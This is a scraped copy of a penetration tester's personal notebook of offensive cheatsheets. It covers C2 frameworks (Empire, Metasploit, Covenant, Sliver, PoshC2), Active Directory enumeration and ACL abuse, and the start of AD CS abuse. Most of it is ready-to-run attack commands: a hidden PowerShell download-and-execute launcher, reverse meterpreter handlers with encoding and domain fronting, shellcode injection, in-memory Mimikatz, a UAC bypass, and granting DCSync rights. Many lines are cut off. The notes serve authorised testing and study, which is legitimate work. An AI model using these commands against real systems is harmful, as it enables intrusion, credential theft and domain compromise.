100% found this document useful (1 vote)
1K views445 pages

Pentester's Notebook: Techniques & Tools

This document provides a summary of tools and techniques for penetration testing and post-exploitation. It includes summaries of Empire, Metasploit, Covenant, meterpreter, and debugging with pry-byebug. The document is organized as an informal notebook with sections on installation, usage cheatsheets, and links to additional resources for various penetration testing frameworks and capabilities.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
100% found this document useful (1 vote)
1K views445 pages

Pentester's Notebook: Techniques & Tools

This document provides a summary of tools and techniques for penetration testing and post-exploitation. It includes summaries of Empire, Metasploit, Covenant, meterpreter, and debugging with pry-byebug. The document is organized as an informal notebook with sections on installation, usage cheatsheets, and links to additional resources for various penetration testing frameworks and capabilities.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Pentester's Promiscuous Notebook

README

Hey there!

I'm snovvcrash and that's a gitbook for keeping my pentest notes on hand. It's far from being perfect in terms
of organization (that's why I call it "promiscuous") and, basically, I'm logging it for myself, but it turned out that
hosting it online makes it most convenient to access. So, if you find it handy too, feel free to use it...
responsibly, of course!
While taking these notes, one main rule is that all the given techniques are actually tested either during a
real engagement or in a training lab.

DISCLAIMER. All information contained in this blog is provided for educational and research
purposes only. The author is not responsible for any illegal use of any information published on
the pages of this blog.

Previous version of PPN is ➡️here (deprecated).

About

snovvcrash@gh-pages:~$ _
snovvcrash@gh-pages:~$ _

snovvcrash - Overview
GitHub

⚒️Pentest
C2

[Link]
[Link]

[Link]
[Link]

Covenant

[Link]
Install

[Link]

$ git clone --recurse-submodules [Link]


$ cd Covenant/Covenant
$ dotnet run

Cheatsheet
Make a sacrificial token to be used with Over-PtH attacks:

(snovvcrash) > MakeToken administrator [Link] dummy_Passw0rd!

Empire

[Link]

Install

[Link]

$ git clone --recursive [Link]


$ cd Empire
$ sudo ./setup/[Link]
$ sudo poetry install

To compile C# agents (Covenant and Sharpire) install .NET SDK 3.1:

$ wget [Link] -O packages


$ sudo dpkg -i [Link]
$ rm [Link]

$ sudo apt-get update; \


sudo apt-get install -y apt-transport-https && \
sudo apt-get update && \
sudo apt-get install -y dotnet-sdk-3.1

$ sudo apt-get update; \


sudo apt-get install -y apt-transport-https && \
sudo apt-get update && \
sudo apt-get install -y aspnetcore-runtime-3.1

Run

$ ./ps-empire server [--restip [Link] --username snovvcrash --password 'Passw0rd!']


$ ./ps-empire client

Reset the database:

$ ./ps-empire server --reset

Cheatsheet
Basic PowerShell launcher string:

PS > powershell -NoP -sta -NonI -W Hidden -Exec Bypass -C "IEX(New-Object [Link]).Downl

Prepare a listener:

(Empire) > listeners


(Empire: listeners) > uselistener http
(Empire: uselistener/http) > set Name http1
(Empire: uselistener/http) > set Host [Link]
(Empire: uselistener/http) > set Port 80
(Empire: uselistener/http) > execute

Generate a PowerShell stager:

(Empire: listeners) > usestager multi/launcher


(Empire: usestager/multi/launcher) > set Listener http1
(Empire: usestager/multi/launcher) > set OutFile pwsh.ps1
(Empire: usestager/multi/launcher) > generate

Generate a C# stager:
(Empire:
(Empire: listeners) > useplugin csharpserver
useplugin/csharpserver) > set status start
(Empire: useplugin/csharpserver) > execute
(Empire: useplugin/csharpserver) > usestager windows/csharp_exe
(Empire: usestager/windows/csharp_exe) > set Listener http1
(Empire: usestager/windows/csharp_exe) > set OutFile [Link]
(Empire: usestager/windows/csharp_exe) > generate

Re-inject into an interactive process (e.g., [Link] ):

(Empire: listeners) > agents


(Empire: agents) > rename LKH7SD3V A1
(Empire: agents) > interact A1
(Empire: A1) > sysinfo
(Empire: A1) > shell Get-Process explorer
(Empire: A1) > psinject exch <EXPLORER_EXE_PID>

Bypass UAC to get a high integrity process:

(Empire: A1) > shell whoami /priv


(Empire: A1) > usemodule privesc/bypassuac_fodhelper
(Empire: powershell/privesc/bypassuac_fodhelper) > set Listener http1
(Empire: powershell/privesc/bypassuac_fodhelper) > run

Execute a PowerShell script from memory (e.g., Invoke-SharpSecDump.ps1 ):

(Empire: A1) > shell whoami /priv


(Empire: A1) > usemodule management/invoke_script
(Empire: powershell/management/invoke_script) > set ScriptPath /home/snovvcrash/tools/dump.ps1
(Empire: powershell/management/invoke_script) > set ScriptCmd Invoke-SharpSecDump -C "-tager=1
(Empire: powershell/management/invoke_script) > run

Start a process in the background (e.g., chisel SOCKS proxy):

(Empire: A1) > shell IWR [Link] -OutFile C:\Windows\[Link] -


(Empire: A1) > shell Start-Process -NoNewWindow -FilePath C:\Windows\[Link] -ArgumentLis

Invoke a custom Mimikatz command:

(Empire: A1) > usemodule credentials/mimikatz/command


(Empire: powershell/credentials/mimikatz/command) > set Command '"privilege::debug" "token::el
(Empire: powershell/credentials/mimikatz/command) > run

Plugins
[Link]
[Link]

Customizing Agents

[Link]

Metasploit

[Link]
[Link]

[Link]
[Link]
[Link]

Cheatsheet
Quick handler launch:

msf > handler -H eth0 -P 443 -p windows/x64/meterpreter/reverse_https [-e x64/xor] [-x]

Bind RC4 payload & handler through SOCKS proxy:

$ msfvenom -p windows/x64/meterpreter/bind_tcp_rc4 RHOST=[Link] LPORT=443 RC4PASSWORD='Pa


msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/bind_tcp_rc4
msf exploit(multi/handler) > set RHOST [Link]
msf exploit(multi/handler) > set LPORT 443
msf exploit(multi/handler) > set RC4PASSWORD Passw0rd!
msf exploit(multi/handler) > set PROXIES socks5:[Link]:1080
msf exploit(multi/handler) > run

Generate a custom SSL certificate for encrypting C2 communications:

$ openssl req -batch -new -newkey rsa:4096 -days 365 -nodes -x509 -keyout [Link] -out cert.c
$ cat [Link] [Link] > [Link]
$ msfvenom -p ... HandlerSSLCert=./[Link] StagerVerifySSLCert=true ...
msf exploit(multi/handler) > set HandlerSSLCert /home/snovvcrash/[Link]
msf exploit(multi/handler) > set StagerVerifySSLCert true

Automation (about exploit flags here):

[Link]
// sudo msfconsole -qr [Link]
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_winhttps
set LHOST [Link]
set LPORT 443
set EXITFUNC thread
set StageEncoder x64/zutto_dekiru
set EnableStageEncoding true
set HandlerSSLCert /home/snovvcrash/[Link]
set StagerVerifySSLCert true
set AutoRunScript post/windows/manage/migrate
set ExitOnSession false
exploit -jz

Start SOCKS server (default is SOCKS5):

msf > use auxiliary/server/socks_proxy


msf auxiliary(server/socks_proxy) > set SRVHOST [Link]
msf auxiliary(server/socks_proxy) > run -j

Handle connections with domain fronting:

$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[Link] LPORT=443 HttpHostHea


msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf exploit(multi/handler) > set LHOST [Link]
msf exploit(multi/handler) > set OverrideLHOST [Link]
msf exploit(multi/handler) > set OverrideRequestHost true
msf exploit(multi/handler) > set HttpHostHeader [Link]
msf exploit(multi/handler) > run

meterpreter

Migrate to a different architecture:

msf > use post/windows/manage/archmigrate


msf post(windows/manage/archmigrate) > set SESSION 1
msf post(windows/manage/archmigrate) > run

Switch to the next transport killing current session:

meterpreter > transport add -t reverse_tcp -l [Link] -p 9002


meterpreter > transport list
msf > handler -H eth0 -P 9002 -p windows/x64/meterpreter/reverse_tcp
meterpreter > transport next

Reverse local port 3389 (on Victim, [Link] ) to local port 43389 (on Attacker):

meterpreter > portfwd add -l 43389 -p 3389 -r [Link]


[*] Local TCP relay created: :43389 <-> [Link]:3389
$ xfreerdp /u:administrator /p:'Passw0rd!' /v:[Link]:43389

Routing:

meterpreter > run autoroute -s [Link]/24


meterpreter > run autoroute -p
Or
msf5 > route add [Link]/24 1
msf5 > route

Execute binary from memory:

meterpreter > execute -cimH -d [Link] -f /home/snovvcrash/www/[Link] -a '"sekurlsa::lo

Execute .NET assembly from memory:

msf > use post/windows/manage/execute_dotnet_assembly


msf post(windows/manage/execute_dotnet_assembly) > set DOTNET_EXE /home/snovvcrash/www/Rubues
msf post(windows/manage/execute_dotnet_assembly) > set ARGUMENTS "kerberoast /usetgtdeleg /for
msf post(windows/manage/execute_dotnet_assembly) > set SESSION 1
msf post(windows/manage/execute_dotnet_assembly) > run

Inject shellcode:

msf > use post/windows/manage/shellcode_inject


msf post(windows/manage/shellcode_inject) > set SHELLCODE /home/snovvcrash/www/[Link]
msf post(windows/manage/shellcode_inject) > set SESSION 1
msf post(windows/manage/shellcode_inject) > run

Debug

[Link]

HackTheBox - DropZone
YouTube
$ gem install pry-byebug
$ vi ~/.pry-byebug

pry-byebug
if defined?(PryByebug)
[Link].alias_command 'c', 'continue'
[Link].alias_command 's', 'step'
[Link].alias_command 'n', 'next'
[Link].alias_command 'f', 'finish'
end

# Hit Enter to repeat last command


Pry::[Link] /^$/, "repeat last command" do
_pry_.run_command [Link].to_a.last
end

$ cp -r /usr/share/metasploit-framework/ /opt
$ vi /opt/metasploit-framework/msfconsole
...add "require 'pry-byebug'"...
$ mkdir -p ~/.msf4/modules/exploits/linux/http/
$ cp /usr/share/metasploit-framework/modules/exploits/linux/http/[Link] ~/.msf4/modules/
$ vi ~/.msf4/modules/exploits/linux/http/[Link]
...add "[Link]"...

PoshC2

[Link]

Install

[Link]

$ curl -sSL [Link] | sudo bash -s -- -p /opt/P

Run
List projects:

$ posh-project -l

Show current project:

$ posh-project -c

Create a new project:

$ posh-project -n <PROJECT_NAME>

Adjust config:

$ posh-config

Start team server:

$ posh-server

Connect to the team server:

$ posh -u snovvcrash

Cheatsheet
Load .NET assembly and run it (available for agents that load CLR):

C# 01> loadmodule /tmp/[Link]


C# 01> run-exe [Link] Assembly <args>
C# 01> run-exe [Link] Rubeus kerberoast /usetgtdeleg /format:hashcat

Sliver

[Link]

Install
[Link]

Install team server as a daemon on the team server:

$ curl [Link] | sudo bash

For a client get a sliver-client binary from releases or disable the service if installed as a daemon:

$ sudo systemctl disable [Link] --now

Configure Team Server for Multiplayer

[Link]

Change multiplayer listener host (daemon mode) and restart:

$ sudo vi /root/.sliver/configs/[Link]
$ sudo systemctl restart [Link]

Generate config for a new operator:

$ sudo /root/sliver-server operator --name snovvcrash-kali-home --lhost <PRIVATE_IP> --lport 3

Cheatsheet
A redirector-aware pair of payload and listener (when redirecting to PRIVATE_IP:8443 ):

sliver > generate --os windows --arch amd64 --format shellcode [--evasion] --http [Link]
sliver > https --domain [Link] --lhost <PRIVATE_IP> --lport 8443

Infrastructure

cd; mkdir ws; cd ws # workspace


mkdir -p adcs/ discover/{subnets,hosts,services} enum/bloodhound/[Link] loot/ logs/ scr
touch ~/ws/loot/[Link]
Network Config

hostname
ifconfig eth0
route -n
cat /etc/[Link]
arp -a

AD

[Link]
[Link]

[Link]
[Link]
[Link]

[Link]
[Link]

[Link]
[Link]
[Link]

[Link]

Атаки на домен / [Link]

Атаки современных Windows систем


Атаки на MS Active Directory и компрометация контроллера домена

Could not load image

Pentesting AD Mindmap

AD Labs

[Link]
[Link]
Capsulecorp

[Link]

[Link]

Game Of Active Directory

[Link]

[Link]

[Link]

[Link]
[Link]

[Link]

Microsoft Wont-Fix-List

[Link]

Tools

BloodHound

[Link]
[Link]
[Link]
[Link]

Setup

curl -sSL [Link] | jq -r '.asset


unzip [Link] && rm [Link]
mv BloodHound-linux-x64 BloodHound && cd BloodHound
sudo chown root:root chrome-sandbox
sudo chmod 4755 chrome-sandbox
chmod +x BloodHound
sudo mkdir /usr/share/neo4j/logs/
mkdir -p ~/.config/bloodhound
curl -sSL [Link]
curl -sSL [Link] >
curl -sSL [Link] >
curl -sSL [Link] > /tmp/[Link]

python3 - << 'EOT'


import json
from pathlib import Path

merged, dups = {'queries': []}, set()


for jf in sorted((Path('/tmp')).glob('customqueries*.json')):
with open(jf, 'r') as f:
for query in [Link](f)['queries']:
if 'queryList' in [Link]():
qt = tuple(q['query'] for q in query['queryList'])
if qt not in dups:
merged['queries'].append(query)
[Link](qt)

with open([Link]() / '.config' / 'bloodhound' / '[Link]', 'w') as f:


[Link](merged, f, indent=4)

EOT

rm /tmp/customqueries*.json
curl -sSL "[Link]
sed -i 's/"password": "exegol4thewin"/"password": "WeaponizeK4li!"/g' ~/.config/bloodhound/con

Collectors

[Link]

[Link]
[Link]
[Link]

Could not load image


SharpHound cheatsheet (by @SadProcessor)

PS > .\[Link] [-d [Link]] [--LdapUsername snovvcrash] [--LdapPassword 'Passw0r


PS > .\[Link] -c SessionLoop --Loop --LoopInterval [Link] --Loopduration [Link]

SharpHound.ps1

[Link]

PS > Invoke-Bloodhound [-Domain [Link]] [-LdapUsername snovvcrash] [-LdapPassword 'Pas


PS > Invoke-Bloodhound -CollectionMethod SessionLoop -Loop -LoopInterval [Link] -Loopduratio

[Link]

[Link]

$ cd ~/ws/enum/bloodhound/[Link]/
$ bloodhound-python -c All,LoggedOn --zip -u snovvcrash -p 'Passw0rd!' -d [Link] -ns 1
$ proxychains4 -q bloodhound-python -c All,LoggedOn --zip -u snovvcrash --hashes aad3b435b5140

Import with bloodhound-import:

$ bloodhound-import -du neo4j -dp 'Passw0rd!' 20190115133114*.json

[Link]

[Link]
[Link]

Cypher (Neo4j)

[Link]
[Link]
[Link]
[Link]

[Link]
[Link]
[Link]

Show percentage of collected user sessions:

How BloodHound's Session Collection Works

# [Link]
MATCH (u1:User)
WITH COUNT(u1) AS totalUsers
MATCH (c:Computer)-[r:HasSession]->(u2:User)
WITH totalUsers, COUNT(DISTINCT(u2)) AS usersWithSessions
RETURN totalUsers, usersWithSessions, 100 * usersWithSessions / totalUsers AS percetange

Show path to any computer from kerberoastable users:

MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

Manual JSON Parsing

[Link]
[Link]
[Link]

Manually Parse Bloodhound Data with JQ to Create Lists of Potentially Vulnerable Us…
Us…
There're 2 global dicts in JSON files: data and meta . We care about data :

$ cat 20220604031239_users.json | jq '. | keys'


[
"data",
"meta"
]

List all active user accounts:

cat 20220604031239_users.json | jq '.data[].Properties | select(.enabled == true) | .name' -r

List non-empty user accounts' descriptions:

cat 20220604031239_users.json | jq '.data[].Properties | select(.enabled == true and .descript

List user accounts whose passwords were set after their last logon (an effective list for password spraying
assuming that the passwords were set by IT Desk and may be guessable):

cat 20220604031239_users.json | jq '.data[].Properties | select(.enabled == true and .pwdlasts

List user accounts with DoesNotRequirePreAuth set (aka asreproastable):

cat 20220604031239_users.json | jq '.data[].Properties | select(.enabled == true and .dontreqp

List user accounts with SPN(s) set (aka kerberoastable)

cat 20220604031239_users.json | jq '.data[].Properties | select(.enabled == true and .servicep

List computer accounts' operating system names:

cat 20220604031239_computers.json | jq '.data[].Properties | .name + " :: " + .operatingsystem


Recursively list all members of a group (mimics RSAT Get-ADGroupMember , script):

$ ls
20220604043009_computers.json 20220604043009_groups.json 20220604043009_users.json
$ python3 get_ad_group_member.py 'DOMAIN ADMINS@[Link]'

Recursively list all groups which the user is a member of (mimics RSAT Get-ADUser | select
memberof , script):

$ ls
20220604043009_groups.json 20220604043009_users.json
$ python3 get_ad_user_memberof.py 'SNOVVCRASH@[Link]'

Generate a .csv file containing AD trusts mapping to be used in TrustVisualizer (mimics PowerView
Get-DomainTrustMapping , script):

$ ls
20220604043009_domains.json
$ python3 get_domain_trust_mapping.py

PowerView / SharpView

[Link]
[Link]

[Link]
PowerView2.ps1
PowerView3.ps1
PowerView4.ps1 (ZeroDayLab)

[Link]

Example Queries

Users

Convert SID to name and vice versa:

PV3 > ConvertTo-SID <NAME>


PV3 > Convert-NameToSid <NAME>
PV3 > ConvertFrom-SID <SID>
PV3 > Convert-SidToName <SID>

Extract all domain user accounts into a .csv file:


PV3 > Get-DomainUser -Domain [Link] | select name,samAccountName,description,memberOf

List domain user accounts that do not require Kerberos pre-authentication (see ASREPRoasting):

PS > .\[Link] Get-DomainUser -KerberosPreauthNotRequired -Properties samAccountName,use

List domain user accounts with Service Principal Names (SPNs) set (see Kerberoasting):

PS > .\[Link] Get-DomainUser -SPN -Properties samAccountName,memberOf,servicePrincipalN

List domain user accounts with Kerberos unconstrained delegation enabled:

PS > .\[Link] Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=5

List domain user accounts with Kerberos constrained delegation enabled:

PS > .\[Link] Get-DomainUser -TrustedToAuth -Properties samAccountName,userAccountContr

Search for domain user accounts which may have sensitive stored in the description field:

PV3 > Get-DomainUser -Properties samaccountname,description | Where {$_.description -ne $null}

Search for domain user by email:

PV3 > Get-DomainUser -LDAPFilter '(mail=snovvcrash@[Link])' -Properties samaccountname

Find users with DCSync right:

PV3 > $dcsync = Get-DomainObjectACL "DC=megacorp,DC=local" -ResolveGUIDs | ? {$_.ActiveDirecto


PV3 > Convert-SidToName $dcsync

Groups

Enumerate domain computers where specific users (Identity) are members of a specific local group
(LocalGroup):

PV3 > Get-DomainGPOUserLocalGroupMapping -Identity snovvcrash -LocalGroup Administrators

Computers

Extract all domain computer accounts into a .csv file:


PV3 > Get-DomainComputer -Properties dnsHostName,operatingSystem,lastLogonTimestamp,userAccoun

List domain computer accounts that allow Kerberos unconstrained delegation:

PS > .\[Link] Get-DomainComputer -Unconstrained -Properties dnsHostName,userAccountCont

Resolve all domain computer IPs by their names:

PV3 > Get-DomainComputer -Properties name | Resolve-IPAddress

List domain computers that are part of a OU:

PV3 > Get-DomainComputer | ? { $_.DistinguishedName -match "OU=<OU_NAME>" } | select dnsHostNa

Shares

List shares for WS01 computer:

PS > .\[Link] Get-NetShare -ComputerName WS01

GPOs

List all domain users with a 4-digit RID (eliminates default objects like 516, 519, etc.) who can edit GPOs:

PV3 > Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match

Resolve GPO ObjectDN:

PV3 > Get-DomainGPO -Name "<DN>" -Properties DisplayName

Impacket

[Link]
[Link]
[Link]

Install:

$ git clone [Link] ~/tools/impacket && cd ~/tools/impacket


$ pip3 install .
Or
$ pipx install -f "git+[Link]
CrackMapExec (CME)
Install:

$ pipx install -f "git+[Link]


$ cme -h

Install for debugging and developement:

$ git clone --recursive [Link] ~/tools/CrackMapE


$ poetry install
$ poetry run crackmapexec -h

Execute a PowerShell command using base64 encoding on-the-fly:

$ cme smb [Link] -u snovvcrash -p 'Passw0rd!' -x "powershell -enc `echo -n 'iex(new-obje

Mitigations
Common vulnerabilities & misconfigurations and recommendations:

[Link]
common-users
[Link]

[Link]
[Link]

SMB lateral-movement hardening:

[Link]
[Link]
ed033b888721

SMB Enumeration-Exploitation-Hardening (Anil BAS).pdf 3MB


PDF

Antispam protection for Exchange:

Antispam Forefront Protection 2010 (Exchange Server).pdf 2MB


PDF
Detect stale, unused or fake computer accounts based on password age (replace -90 with your domain's
maximum computer account password age):

$date = [DateTime]::[Link](-90); Get-ADComputer -Filter '(Enabled -eq $true) -and (Pass

Administrative Tier Model & Microsoft RaMP (Zero Trust Rapid Modernization Plan):

[Link]

[Link]

[Link]
dcb44498cfc2

Post compromise AD actions (checklist):

[Link]
security-review
[Link]

Hardening automatization tool:

[Link]

ACL Abuse
Access Control Lists

[Link]
directory-acls-aces
[Link]
[Link]
entries#exploitation-paths
[Link]
attacks/

Could not load image


Abusing ACEs Mindmap

BloodHound

ACL BloodHound abuse hierarchy (by @HackAndDo)

Some AD object security permissions abusable with PowerView / SharpView:

ForceChangePassword abused with Set-DomainUserPassword

AddMembers abused with Add-DomainGroupMember

GenericAll abused with Set-DomainUserPassword or Add-DomainGroupMember

GenericWrite abused with Set-DomainObject

WriteOwner abused with Set-DomainObjectOwner

WriteDACL abused with Add-DomainObjectACL

AllExtendedRights abused with Set-DomainUserPassword or Add-DomainGroupMember

SDDL

[Link]
[Link]/2020/01/27/[Link]
[Link]/2020/06/01/[Link]
[Link]
Let's say that the ACE on object A applies to object B. This grants or denies object B access to object A
with the specified access rights.

ACE example in SDDL format:

(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-1-0)

AceType:
A = ACCESS_ALLOWED_ACE_TYPE

Access rights:
RP = ADS_RIGHT_DS_READ_PROP
WP = ADS_RIGHT_DS_WRITE_PROP
CC = ADS_RIGHT_DS_CREATE_CHILD
DC = ADS_RIGHT_DS_DELETE_CHILD
LC = ADS_RIGHT_ACTRL_DS_LIST
SW = ADS_RIGHT_DS_SELF
RC = READ_CONTROL
WD = WRITE_DAC
WO = WRITE_OWNER
GA = GENERIC_ALL

Ace Sid:
S-1-1-0

Hunt for ACLs

ActiveDirectory

Enumerate ACLs which snovvcrash user possesses against [Link] user:

PS > (Get-ACL "AD:$((Get-ADUser [Link]).distinguishedName)").access | ? {$_.IdentityReference -

Enumerate which users possess GenericAll or AllExtendedRights permission against [Link]


user:

PS > (Get-ACL "AD:$((Get-ADUser [Link]).distinguishedName)").access | ? {$_.ActiveDirectoryRigh

PowerView analog + excluding 3-digit RIDs:

PV3 > Get-DomainObjectAcl -Identity [Link] -Domain [Link] -ResolveGUIDs | ? {$_.ActiveD


PV3 > ConvertFrom-SID <SECURITY_IDENTIFIER>
Find all users who can DCSync and convert their SIDs to names:

PV3 > $dcsync = Get-ObjectACL "DC=megacorp,DC=local" -ResolveGUIDs | ? {$_.ActiveDirectoryRigh


PV3 > Convert-SidToName $dcsync

PowerView2

Search for interesting ACLs:

PV2 > Invoke-ACLScanner -ResolveGUIDs

Check if the attacker "MEGACORP\sbauer" has GenericWrite permissions on the "jorden" user object:

PV2 > Get-ObjectAcl -samAccountName jorden -ResolveGUIDs | ? {$_.ActiveDirectoryRights -like "

InheritedObjectType : All
ObjectDN : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL <== Vict
ObjectType : All
IdentityReference : MEGACORP\sbauer <== Attacker (sbauer)
IsInherited : False
ActiveDirectoryRights : GenericWrite
PropagationFlags : None
ObjectFlags : None
InheritanceFlags : ContainerInherit
InheritanceType : All
AccessControlType : Allow
ObjectSID : S-1-5-21-3167813660-1240564177-918740779-3110

PowerView3

Search for interesting ACLs:

PV3 > Find-InterestingDomainAcl -ResolveGUIDs | ? {$_.IdentityReferenceClass -match "user"}

Check if the attacker "MEGACORP\sbauer" ( S-1-5-21-3167813660-1240564177-918740779-


3102 ) has GenericWrite permissions on the "jorden" user object:

PV3 > Get-DomainObjectAcl -Identity jorden -ResolveGUIDs | ? {$_.ActiveDirectoryRights -like "

AceType : AccessAllowed
ObjectDN : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL
ActiveDirectoryRights : GenericWrite
OpaqueLength : 0
ObjectSID : S-1-5-21-3167813660-1240564177-918740779-3110 <== Victim (jorden)
InheritanceFlags : ContainerInherit
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-3167813660-1240564177-918740779-3102 <== Attacker (sbauer)
AccessMask : 131112

AuditFlags : None
AceFlags : ContainerInherit
AceQualifier : AccessAllowed

The -ResolveGUIDs switch shows ObjectType and InheritedObjectType


properties in a human readable form (not in GUIDs).

PowerView 3.0 does not return IdentityReference property, which makes it less handy for this task
(however, you may filter the output by the attacker's SID). To automatically convert SIDs to names we can
use the following loop:

PV3 > Get-DomainObjectAcl -Identity snovvcrash -ResolveGUIDs | % {$_ | Add-Member -NotePropert

Abuse GenericAll
Find domain users that current user has GenericAll access right to:

PV3 > Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Iden

The attacker can change password of discovered users:

Cmd > net user snovvcrash Passw0rd! /domain

Find domain groups that current user has GenericAll access right to:

PV3 > Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Ide

The attacker can add users to discovered groups:

Cmd > net group "IT Desk" snovvcrash /add /domain

Abuse WriteDACL
Find domain groups that current user has WriteDACL access right to:
PV3 > Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Iden

The attacker can take the full control of discovered groups and then add a users to them:

PV3 > Add-DomainObjectAcl -TargetIdentity "IT Desk" -PrincipalIdentity snovvcrash -Domain tric
PV3 > Add-DomainGroupMember -Identity "IT Desk" -Members snovvcrash -Verbose

Group membership will take its sweet time to be updated within target user's TGT. To force the
update one may purge existing tickets and request new TGT:

Cmd > klist purge


Cmd > gpupdate /force
Cmd > dir \\[Link]\c$

Exchange Windows Permissions


Privilege escalation with ACLs in AD by example of the Exchange Windows Permissions domain
group.

Add user to the Exchange Windows Permissions group:

PS > Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members snovvcrash

Add DCSync rights

Using [Link]:

[Link]
[Link]
[Link]

$ aclpwn -f snovvcrash -ft user -t [Link] -tt domain -d [Link] -du neo4j -dp n

Using Impacket [Link]:

PS > IWR [Link] -UseDefaultCredentials


$ sudo [Link] -t ldap://[Link] --escalate-user snovvcrash

Using Impacket [Link]:


$ dacledit py megacorp local/snovvcrash:'Passw0rd!' -action write -rights DCSync -principal sn

Using PowerView2:

PV2 > Add-ObjectAcl -TargetDistinguishedName "DC=megacorp,DC=local" -PrincipalName snovvcrash

Using PowerView3:

PS > $cred = New-Object [Link]("snovvcrash", $(ConvertTo-Se


PV3 > Add-DomainObjectAcl -TargetIdentity "DC=megacorp,DC=local" -PrincipalIdentity snovvcrash

Using PowerShell ActiveDirectory:

[Link]

1. Get ACL for the root domain object.


2. Get SID for the account to be given DCSync rights.

3. Create a new ACL and within it set "Replicating Directory Changes" (GUID 1131f6ad-9c07-11d1-
f79f-00c04fc2dcd2 ) and "Replicating Directory Changes All" (GUID 1131f6aa-9c07-11d1-
f79f-00c04fc2dcd2 ) rights for the SID from (2).
4. Apply changes.

PS > Import-Module ActiveDirectory


PS > $acl = Get-Acl "AD:DC=megacorp,DC=local"
PS > $user = Get-ADUser snovvcrash
PS > $sid = New-Object [Link] $[Link]
PS > $objectGuid = New-Object guid 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
PS > $identity = [[Link]] $sid
PS > $adRights = [[Link]] "ExtendedRight"
PS > $type = [[Link]] "Allow"
PS > $inheritanceType = [[Link]] "None"
PS > $ace = New-Object [Link] $identity,$adRights
PS > $[Link]($ace)
PS > $objectGuid = New-Object Guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
PS > $ace = New-Object [Link] $identity,$adRights
PS > $[Link]($ace)
PS > Set-Acl -AclObject $acl "AD:DC=megacorp,DC=local"

Using ADSI and [Link]:

[Link]

PS > $dse = [ADSI]"LDAP://Rootdse"


PS > $namingContext = $[Link]
PS > [Link] $namingContext /G snovvcrash":CA;Replicating Directory Changes All" snovvcrash
Cleanup:

PV3 > Remove-DomainObjectAcl -TargetIdentity [Link] -PrincipalIdentity snovvcrash -Rig

Managed Security Groups

[Link]

Returns all security groups in the current (or target) domain that have a manager set:

PV3 > Get-DomainManagedSecurityGroup

GroupName : Security Operations


GroupDistinguishedName : CN=Security Operations,CN=Users,DC=MEGACORP,DC=LOCAL
ManagerName : [Link]
ManagerDistinguishedName : CN=John Doe,OU=Security,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL
ManagerType : User
ManagerCanWrite : UNKNOWN

Enumerate the ACLs set on this group. GenericWrite privilege means that the user can modify group
membership:

PV3 > $sid = ConvertTo-SID [Link]


PV3 > Get-DomainObjectAcl -Identity 'Security Operations' | ? {$_.SecurityIdentifier -eq $sid}

ObjectDN : CN=Security Operations,CN=Users,DC=MEGACORP,DC=LOCAL


ObjectSID : S-1-5-21-3167813660-1240564177-918740779-2549
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 131132
SecurityIdentifier : S-1-5-21-3167813660-1240564177-918740779-1874
AceType : AccessAllowed
AceFlags : ContainerInherit
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None
AuditFlags : None

Tools
Aced

[Link]

AD CS Abuse
Active Directory Certificate Services

[PDF] Certified Pre-Owned. Abusing Active Directory Certificate Services (Will Schroeder, Lee
Christensen)
[Link]

[Link]
for-the-domain-admin-2/
[Link]

[Link]
abuse
[Link]
and-more-34d1c26f0dc6

This page is a selective copy-paste of the Certified Pre-Owned PDF (mainly offensive
techniques) without testing "in the wild"! When any of the discussed techniques is actually
performed by me during an engagement, corresponding notes are get reviewed, supplemented
with examples from my personal experience and put into a separate section, e.g. ESC1, ESC8,
etc.

Glossary

AD CS 👉🏻 Active Directory Certificate Services


CA 👉🏻 Certification Authority
EKU 👉🏻 Extended Key Usage

SAN 👉🏻 Subject Alternative Name (subjectAltName)


CSR 👉🏻 Certificate Signing Request
CES 👉🏻 Certificate Enrollment Web Service
CAPI 👉🏻 CryptoAPI
CNG 👉🏻 Cryptography API: Next Generation

EKU OIDs that can enable certificate authentication:


Description OID

Client Authentication [Link].[Link].2

PKINIT Client Authentication [Link].[Link]

Smart Card Logon [Link].[Link].2.2

Any Purpose EKU [Link].0

Subordinate CA certificate No EKU set

Enumerate
Enumerate AD Enterprise CAs and their settings with PowerShell:

PS > $CAs = Get-ADObject -LDAPFilter '(objectCategory=pKIEnrollmentService)' -SearchBase "CN=C


PS > $CAs

Enumerate AD Enterprise CAs with CME:

PS > cme ldap [Link] -u snovvcrash -p 'Passw0rd!' -M adcs

Get list of certificate template names:

PS > $CATemplateNames = Get-ADObject $CAs[0].DistinguishedName -Properties certificatetemplate


PS > $CATemplateNames
Or
$ windapsearch --dc [Link] -d [Link] -u snovvcrash -p 'Passw0rd!' -m custom --fi
$ windapsearch --dc [Link] -d [Link] -u snovvcrash -p 'Passw0rd!' -m custom --fi

Enumerate AD Enterprise CAs with certutil from a domain-joined machine:

